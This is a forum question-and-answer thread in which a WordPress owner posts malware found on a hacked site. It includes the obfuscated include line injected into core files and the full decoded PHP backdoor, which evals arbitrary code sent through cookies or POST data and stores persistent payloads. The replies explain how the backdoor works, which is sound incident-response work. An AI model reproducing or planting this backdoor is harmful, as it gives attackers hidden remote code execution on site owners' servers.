0

My wordpress site got recently hacked. Upon research I found 3 files were infected :

  • index.php
  • wp-config.php
  • wp-settings.php

All including this piece of code :

@include "\057h\157m\145/mywebsite/\160u\142l\151c\137h\164m\154/\167p\055c\157n\164e\156t\057c\141c\150e\057a\154l\057.\062d\061c\061b\144d\056i\143o";

Decoding the octal characters reveals it's trying to include a file called .2d1c1bdd.ico. The file essentially contains the main code of the malware encrypted using simple php libraries like urlencode. Decoding it reveals the following :

<?php
if (!defined('stream_context_create ')) {
    define('stream_context_create ', 1);
    @ini_set('error_log', null);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    if (!defined("PHP_EOL")) {
        define("PHP_EOL", "\n");
    }
    if (!defined('file_put_contents ')) {
        define('file_put_contents ', 1);
        $lzkplbb = 'aebcf4be-c99f-482f-99ba-2502f326ba8b';
        global $lzkplbb;
        function jwryleag($reidlomlbkbcttm) {
            if (strlen($reidlomlbkbcttm) < 4) {
                return "";
            }
            $vfdlzsgb        = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            $rnbfucpt        = str_split($vfdlzsgb);
            $rnbfucpt        = array_flip($rnbfucpt);
            $reidloml        = 0;
            $pghzvmajmpz     = "";
            $reidlomlbkbcttm = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $reidlomlbkbcttm);
            do {
                $emntfw        = $rnbfucpt[$reidlomlbkbcttm[$reidloml++]];
                $uafvfcjv      = $rnbfucpt[$reidlomlbkbcttm[$reidloml++]];
                $axokje        = $rnbfucpt[$reidlomlbkbcttm[$reidloml++]];
                $reidlomlwepon = $rnbfucpt[$reidlomlbkbcttm[$reidloml++]];
                $mgrdvzbs      = ($emntfw << 2) | ($uafvfcjv >> 4);
                $pwkimdf       = (($uafvfcjv & 15) << 4) | ($axokje >> 2);
                $xbtgle        = (($axokje & 3) << 6) | $reidlomlwepon;
                $pghzvmajmpz   = $pghzvmajmpz . chr($mgrdvzbs);
                if ($axokje != 64) {
                    $pghzvmajmpz = $pghzvmajmpz . chr($pwkimdf);
                }
                if ($reidlomlwepon != 64) {
                    $pghzvmajmpz = $pghzvmajmpz . chr($xbtgle);
                }
            } while ($reidloml < strlen($reidlomlbkbcttm));
            return $pghzvmajmpz;
        }
        if (!function_exists('file_put_contents')) {
            function file_put_contents($yselkrw, $pghzvmilkupu, $ggsmcp = false)
            {
                $ctbgwps = $ggsmcp == 8 ? 'a' : 'w';
                $pghzvm  = @fopen($yselkrw, $ctbgwps);
                if ($pghzvm === false) {
                    return 0;
                } else {
                    if (is_array($pghzvmilkupu)) {
                        $pghzvmilkupu = implode($pghzvmilkupu);
                    }
                    $lziccbi = fwrite($pghzvm, $pghzvmilkupu);
                    fclose($pghzvm);
                    return $lziccbi;
                }
            }
        }
        if (!function_exists('file_get_contents')) {
            function file_get_contents($aqcfyovb)
            {
                $tzhboa  = fopen($aqcfyovb, "r");
                $knhvhvg = fread($tzhboa, filesize($aqcfyovb));
                fclose($tzhboa);
                return $knhvhvg;
            }
        }
        function syywzq() {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
        function pobfnz($pghzvmilkupuwtjllzq, $mocxvow) {
            $reidlomldpgbujw = "";
            for ($reidloml = 0; $reidloml < strlen($pghzvmilkupuwtjllzq);) {
                for ($reidlomlsjdziqx = 0; $reidlomlsjdziqx < strlen($mocxvow) && $reidloml < strlen($pghzvmilkupuwtjllzq); $reidlomlsjdziqx++, $reidloml++) {
                    $reidlomldpgbujw .= chr(ord($pghzvmilkupuwtjllzq[$reidloml]) ^ ord($mocxvow[$reidlomlsjdziqx]));
                }
            }
            return $reidlomldpgbujw;
        }
        function epyogfrf($pghzvmilkupuwtjllzq, $mocxvow) {
            global $lzkplbb;
            return pobfnz(pobfnz($pghzvmilkupuwtjllzq, $mocxvow), $lzkplbb);
        }
        function faysby($pghzvmilkupuwtjllzq, $mocxvow) {
            global $lzkplbb;
            return pobfnz(pobfnz($pghzvmilkupuwtjllzq, $lzkplbb), $mocxvow);
        }
        function xlkrcv() {
            $reidlomlsjdziqxsgzoe = @file_get_contents(syywzq());
            $xzusfija             = strpos($reidlomlsjdziqxsgzoe, md5(syywzq()));
            if ($xzusfija !== false) {
                $ytlxxkwa      = substr($reidlomlsjdziqxsgzoe, $xzusfija + 32);
                $yselkrwuvoqce = @unserialize(epyogfrf(rawurldecode($ytlxxkwa), md5(syywzq())));
            } else {
                $yselkrwuvoqce = array();
            }
            return $yselkrwuvoqce;
        }
        function jtjisw($yselkrwuvoqce) {
            $ubfwum               = rawurlencode(faysby(@serialize($yselkrwuvoqce), md5(syywzq())));
            $reidlomlsjdziqxsgzoe = @file_get_contents(syywzq());
            $xzusfija             = strpos($reidlomlsjdziqxsgzoe, md5(syywzq()));
            if ($xzusfija !== false) {
                $reidlomlsjdziqxzvmfh = substr($reidlomlsjdziqxsgzoe, $xzusfija + 32);
                $reidlomlsjdziqxsgzoe = str_replace($reidlomlsjdziqxzvmfh, $ubfwum, $reidlomlsjdziqxsgzoe);
            } else {
                $reidlomlsjdziqxsgzoe = $reidlomlsjdziqxsgzoe . "\n\n//" . md5(syywzq()) . $ubfwum;
            }
            @file_put_contents(syywzq(), $reidlomlsjdziqxsgzoe);
        }
        function wdvuby($yselkrwjhujdy, $micvdqw) {
            $yselkrwuvoqce                 = xlkrcv();
            $yselkrwuvoqce[$yselkrwjhujdy] = jwryleag($micvdqw);
            jtjisw($yselkrwuvoqce);
        }
        function spgrudzn($yselkrwjhujdy) {
            $yselkrwuvoqce = xlkrcv();
            unset($yselkrwuvoqce[$yselkrwjhujdy]);
            jtjisw($yselkrwuvoqce);
        }
        function krtogen($yselkrwjhujdy = null) {
            foreach (xlkrcv() as $vjoavt => $mgfnpuj) {
                if ($yselkrwjhujdy) {
                    if (strcmp($yselkrwjhujdy, $vjoavt) == 0) {
                        eval($mgfnpuj);
                        break;
                    }
                } else {
                    eval($mgfnpuj);
                }
            }
        }
        foreach (array_merge($_COOKIE, $_POST) as $rtxoabsk => $pghzvmilkupuwtjllzq) {
            $pghzvmilkupuwtjllzq = @unserialize(epyogfrf(jwryleag($pghzvmilkupuwtjllzq), $rtxoabsk));
            if (isset($pghzvmilkupuwtjllzq['ak']) && $lzkplbb == $pghzvmilkupuwtjllzq['ak']) {
                if ($pghzvmilkupuwtjllzq['a'] == 'i') {
                    $reidloml = array(
                        'pv' => @phpversion(),
                        'sv' => '2.0-1',
                        'ak' => $pghzvmilkupuwtjllzq['ak']
                    );
                    echo @serialize($reidloml);
                    exit;
                } elseif ($pghzvmilkupuwtjllzq['a'] == 'e') {
                    eval($pghzvmilkupuwtjllzq['d']);
                } elseif ($pghzvmilkupuwtjllzq['a'] == 'plugin') {
                    if ($pghzvmilkupuwtjllzq['sa'] == 'add') {
                        wdvuby($pghzvmilkupuwtjllzq['p'], $pghzvmilkupuwtjllzq['d']);
                    } elseif ($pghzvmilkupuwtjllzq['sa'] == 'rem') {
                        spgrudzn($pghzvmilkupuwtjllzq['p']);
                    }
                }
                echo $pghzvmilkupuwtjllzq['ak'];
                exit();
            }
        }
        krtogen();
    }
}

I'm still working on understanding the code. Any help would be appreciated.

1
  • How much do you want to understand? At first glance it accepts commands via POSTs and cookies, and can read and write files and can eval() arbitrary user-supplied PHP, so it's definitely malware and it essentially has reasonable control over your WordPress site.
    – Rup
    Commented May 1, 2020 at 9:35

1 Answer 1

1

The malware stores an array of PHP fragments to execute at the bottom of its own file, delimited and encoded using the MD5 hash of the filename. It has a specific GUID to control it; on start up it checks all POST and cookie values for properly-encoded commands: PHP serialized arrays, XORed with both the parameter or cookie name and the control GUID, then base64-encoded. Its commands are:

  • return malware and PHP version info
  • eval an arbitrary PHP string passed in
  • add or remove PHP 'plugins' from the saved array of PHP fragments

Otherwise it runs everything in its saved array.

If you want to see what the saved array of PHP is your copy, take the code up to and including function xlkrcv() except change syywzq() to return the full filename of the .ico file. (If you've moved it you'll need to substitute md5(syywzq()) throughout for the MD5 sum of the original file path.) You can then run and dump out the results of xlkrcv().

Not the answer you're looking for? Browse other questions tagged or ask your own question.